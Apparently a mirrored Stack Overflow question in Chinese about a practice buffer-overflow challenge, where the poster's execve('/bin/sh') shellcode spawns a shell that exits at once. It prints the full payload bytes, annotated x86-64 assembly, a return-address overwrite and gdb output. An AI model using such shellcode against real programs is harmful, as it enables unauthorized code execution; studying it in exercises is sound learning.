【问题标题】:Shellcode successfully executes /bin/sh but immediately terminatesShellcode 成功执行 /bin/sh 但立即终止
【发布时间】:2019-04-05 01:23:11
【问题描述】:

我正在尝试解决一个非常简单的利用挑战作为练习。 就是通过缓冲区溢出注入shellcode,没有ASLR,栈是可执行的。

我发送的有效载荷如下:

'\x00xx//bin/sh\x00H\xc7\xc0;\x00\x00\x00H\xbf\xb4\xdf\xff\xff\xff\x7f\x00
\x00H\xc7\xc6\x00\x00\x00\x00H\xc7\xc2\x00\x00
\x00\x00\x0f\x05aabbbbbbbbbbbbbbbbbbbbbbbbb\xbc\xdf\xff\xff\xff\x7f\x00\x00'

在哪里

'\x00xx #Three bytes used to prevent the program to overwrite my payload
//bin/sh\x00 #Null terminated /bin/sh
H\xc7\xc0;\x00\x00\x00H\xbf\xb4\xdf\xff\xff\xff\x7f\x00\x00H\xc7\xc6
\x00
\x00\x00\x00H\xc7\xc2\x00\x00\x00\x00\x0f\x05 #This is equivalent to

 mov rax, 0x3b; #Syscall number for execve()
 mov rdi, 0x7fffffffdfb4; #First parameter, address of /bin/sh in stack
 mov rsi, 0x0; #Second parameter 0
 mov rdx, 0; #Third parameter 0
 syscall;

aabbbbbbbbbbbbbbbbbbbbbbbbb #Fill the remaining bytes of the buffer
\xbc\xdf\xff\xff\xff\x7f\x00\x00' #Overwrite the return address 
with the address of the first shellcode instruction.

现在这是我在 gdb 中执行程序时的输出

$ gdb exploit_me
gdb> r < payload
Starting program: /root/exploit_me < payload

[...]

process 7640 is executing new program: /bin/dash
[Inferior 1 (process 7640) exited normally]

这表明 /bin/dash 被正确调用,但随后它立即终止。 为什么会这样?

【问题讨论】:

标签: buffer-overflow shellcode


【解决方案1】:

shellcode 没有问题。看这个视频如何解决问题First Exploit! Buffer Overflow with Shellcode - bin 0x0E

【讨论】:

  • 仅链接答案。请包含视频中的信息,以防视频被删除。
  • 我仍然不完全理解它是如何工作的,所以我无法写解释
  • 回答问题的视频部分从 10:00 左右开始。这是书面解释/答案 - stackoverflow.com/questions/30972544/…
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2018-09-03
  • 1970-01-01
  • 1970-01-01
  • 2014-08-02
  • 1970-01-01
相关资源
最近更新 更多